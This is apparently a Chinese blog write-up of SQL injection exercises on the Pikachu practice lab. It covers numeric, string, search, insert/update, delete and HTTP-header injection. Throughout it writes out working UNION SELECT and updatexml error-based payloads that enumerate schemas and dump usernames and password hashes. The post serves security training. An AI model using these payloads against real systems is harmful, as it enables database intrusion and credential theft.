pikachu-sql注入练习

pikachu-sql注入练习

注入思路

判断闭合方式 --> 判断sql注入类型 --> 测试绕过 -->oder by查字段数 --> select 1,2,3确定显示位 --> 查数据库名 -->查表名 --> 列名 --> 内容(用户名密码)

  1. 数字型注入(post)

选择数字查询,url不发生传参变化,说明是post方法提交数据。
在这里插入图片描述
使用burpsuite抓包,在id=1之后加’,报错说明存在sql注入
在这里插入图片描述
数字型的SQL语句为 select * from user where id =$id 因此不需要闭合。直接构造SQL语句,尝试sql注入
在这里插入图片描述
查询当前数据库select *from user where id=1 union select 1,database()#
在这里插入图片描述
查询当前数据库pikachu的表
id=1 union select 1,table_name from information_schema.tables where table_schema=“pikachu”#
在这里插入图片描述
查询user中的字段
id=1 union select 1,column_name from information_schema.columns where table_name=“users”#
在这里插入图片描述
查询user中的数据(用户名,密码)
id=1 union select username,password from users#
在这里插入图片描述
通过md5在线解密,可以获得user表中的用户对应的密码
在这里插入图片描述

注:
(1)涉及varchar的值的时候,必须有单引号来包括varchar值。int等其他字段类型,则不需要加单引号包括。
(2)information_schema数据库表说明:

SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。

TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。

COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。

STATISTICS表:提供了关于表索引的信息。是show index from schemaname.tablename的结果取之此表。

USER_PRIVILEGES(用户权限)表:给出了关于全程权限的信息。该信息源自mysql.user授权表。是非标准表。

SCHEMA_PRIVILEGES(方案权限)表:给出了关于方案(数据库)权限的信息。该信息来自mysql.db授权表。是非标准表。

TABLE_PRIVILEGES(表权限)表:给出了关于表权限的信息。该信息源自mysql.tables_priv授权表。是非标准表。

COLUMN_PRIVILEGES(列权限)表:给出了关于列权限的信息。该信息源自mysql.columns_priv授权表。是非标准表。

CHARACTER_SETS(字符集)表:提供了mysql实例可用字符集的信息。是SHOW CHARACTER SET结果集取之此表。

COLLATIONS表:提供了关于各字符集的对照信息。

COLLATION_CHARACTER_SET_APPLICABILITY表:指明了可用于校对的字符集。这些列等效于SHOW COLLATION的前两个显示字段。

TABLE_CONSTRAINTS表:描述了存在约束的表。以及表的约束类型。

KEY_COLUMN_USAGE表:描述了具有约束的键列。

ROUTINES表:提供了关于存储子程序(存储程序和函数)的信息。此时,ROUTINES表不包含自定义函数(UDF)。名为“mysql.proc name”的列指明了对应于INFORMATION_SCHEMA.ROUTINES表的mysql.proc表列。

VIEWS表:给出了关于数据库中的视图的信息。需要有show views权限,否则无法查看视图信息。

TRIGGERS表:提供了关于触发程序的信息。必须有super权限才能查看该表

  1. 字符型注入(get)
    查询语句输入’,提示sql语句报错,且在url中传参发生变化,说明存在sql注入漏洞且传参类型为get类型
    在这里插入图片描述
    在这里插入图片描述
    猜测sql语句为select * from users where id = ‘$id’;需要闭合单引号

构造SQL语句 admin’ or 1=1#
在这里插入图片描述
在这里插入图片描述
利用order by 来查询列数
admin’ order by 1,2,3#
在这里插入图片描述
通过UNION SELECT爆出在网页中的显示位。
注:显示位指的是网页中能够显示数据的位置。举例来说,比如我们通过ORDER BY命令知道了表的列数为11。然后再使用UNION SELECT 1,2,3…,11 from table,网页中显示了信息8,那么说明网页只能够显示第8列中信息,不能显示其他列的信息。也可以理解为网页只开放了8这个窗口,你想要查询数据库信息就必须要通过这个窗口。所以如果我们想要知道某个属性的值,比如admin,就要把admin属性放到8的位置上,这样就能通过第8列爆出admin的信息。
admin’ union select 1,2#
在这里插入图片描述
显示位未1,即可在当前位置查询数据库信息,数据库名为pikachu
admin’ union select 1,database()#
在这里插入图片描述
在这里插入图片描述

  1. 搜索型注入

输入admin’,sql语句报错,存在sql注入漏洞
在这里插入图片描述
构造SQL语句 admin’ or 1=1
若报错则为字符串类型,需要#闭合单引号 admin’ or 1=1#
在这里插入图片描述
order by来查询列数
admin’ order by 4#
在这里插入图片描述
查找显示位 admin’ union select 1,2,3#
在这里插入图片描述
查询当前数据库 1’ union select null,null,database()#(第三位为显示位)
在这里插入图片描述
用户名在第一列,用户id在第二列,email在第三列,选择第一位为显示位
查找当前用户权限 admin’ union select user(),2,3#,为root权限
在这里插入图片描述
查找当前数据库 admin’ union select database(),2,3#
在这里插入图片描述
查找数据库表名 admin’ union select (select group_concat(table_name) from information_schema.tables where table_schema=“pikachu”),2,3#
在这里插入图片描述
查找user表中的用户名 admin’ union select (select group_concat(username) from pikachu.users),2,3#
在这里插入图片描述
查找密码 admin’ union select (select group_concat(password) from pikachu.users),2,3#
在这里插入图片描述
查询用户名密码,可用语句 admin’ union select username,password,3 from users#

小结:
数字型,字符型,搜索型 语法区别:

数字型: SELECT 列 FROM 表 WHERE 数字型列=值

字符型: SELECT 列 FROM 表 WHERE 字符型列=’值’

搜索型: SELECT * FROM 表 WHERE where 被搜索的列 like ‘%值%’

4.XX型注入

常见的闭合方式有成对的’ ‘、” “、( )、以及类似于(“ ”)、(’ ')这种

构造payload ,进行单双引号测试
admin’ or 1=1 admin’ or 1=1# 单双引号均报错, admin" or 1=1# 显示不存在
在这里插入图片描述
在这里插入图片描述
猜测SQL查询语句为 select * from users where id = (’$id’)
需要闭合’),输入admin’) or 1=1#
在这里插入图片描述

查询列数及显示位 admin’) order by 3#
在这里插入图片描述
admin’) union select 1,2#
在这里插入图片描述
查询数据库,admin’) union select 1,database()#
在这里插入图片描述
5.insert/update 注入
输入单引号报错,说明存在sql注入
在这里插入图片描述
在这里插入图片描述
多个参数提交的sql语句 insert into user(username,password,sex,phonenum,email,add1,add2)value(‘xxx’,‘xxx’,‘x’,xxx,‘xx’,‘xx’,‘xx’)
要构造闭合首先在我们可以输入的部分就是‘xxxx’里插入报错函数
updataxml,是mysql对xml文档函数进行出巡和修改的Xpath函数。函数有三个参数,第一个数指定xml文档表的字段名称,第二个是指定要替换的位置,第三个是新的值。updatexml(null,null,null)

concat函数意思是将传进去的参数组合成一个字符串打印出来,concat也可以执行表达式也就是将 0x7e和database()结果组合成一个字符串打印出来,0x7e是~号的十六进制
payload: a’ or updatexml(1,concat(0x7e,database()),0) or ’ 得到pikachu表
在这里插入图片描述

  1. delete 注入
    提交留言一切正常,删除留言,发现是根据id来查找要删除的留言
    在这里插入图片描述
    我们在id处进行payload构造 65 or updatexml(1,concat(0x7e,database()),0)
    在这里插入图片描述
    7.http header 注入
    http-header注入漏洞正是由于后台把超文本传输头中的一些信息拿去拼接到sql语句中又不做安全处理造成的。
    因为认为数据库是对http头中的信息进行了获取并拼接,在这里主要就用user agent这个字段来进行测试
    在这里插入图片描述
    后台数据库采用的是insert语句将获取到的信息拼接到sql查询语句当中的,根据之前博客中提到的相关注入语句知识,构造insert注入.
    ’ or updatexml(1,concat(0x7e,database()),0) or’
    在这里插入图片描述
  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值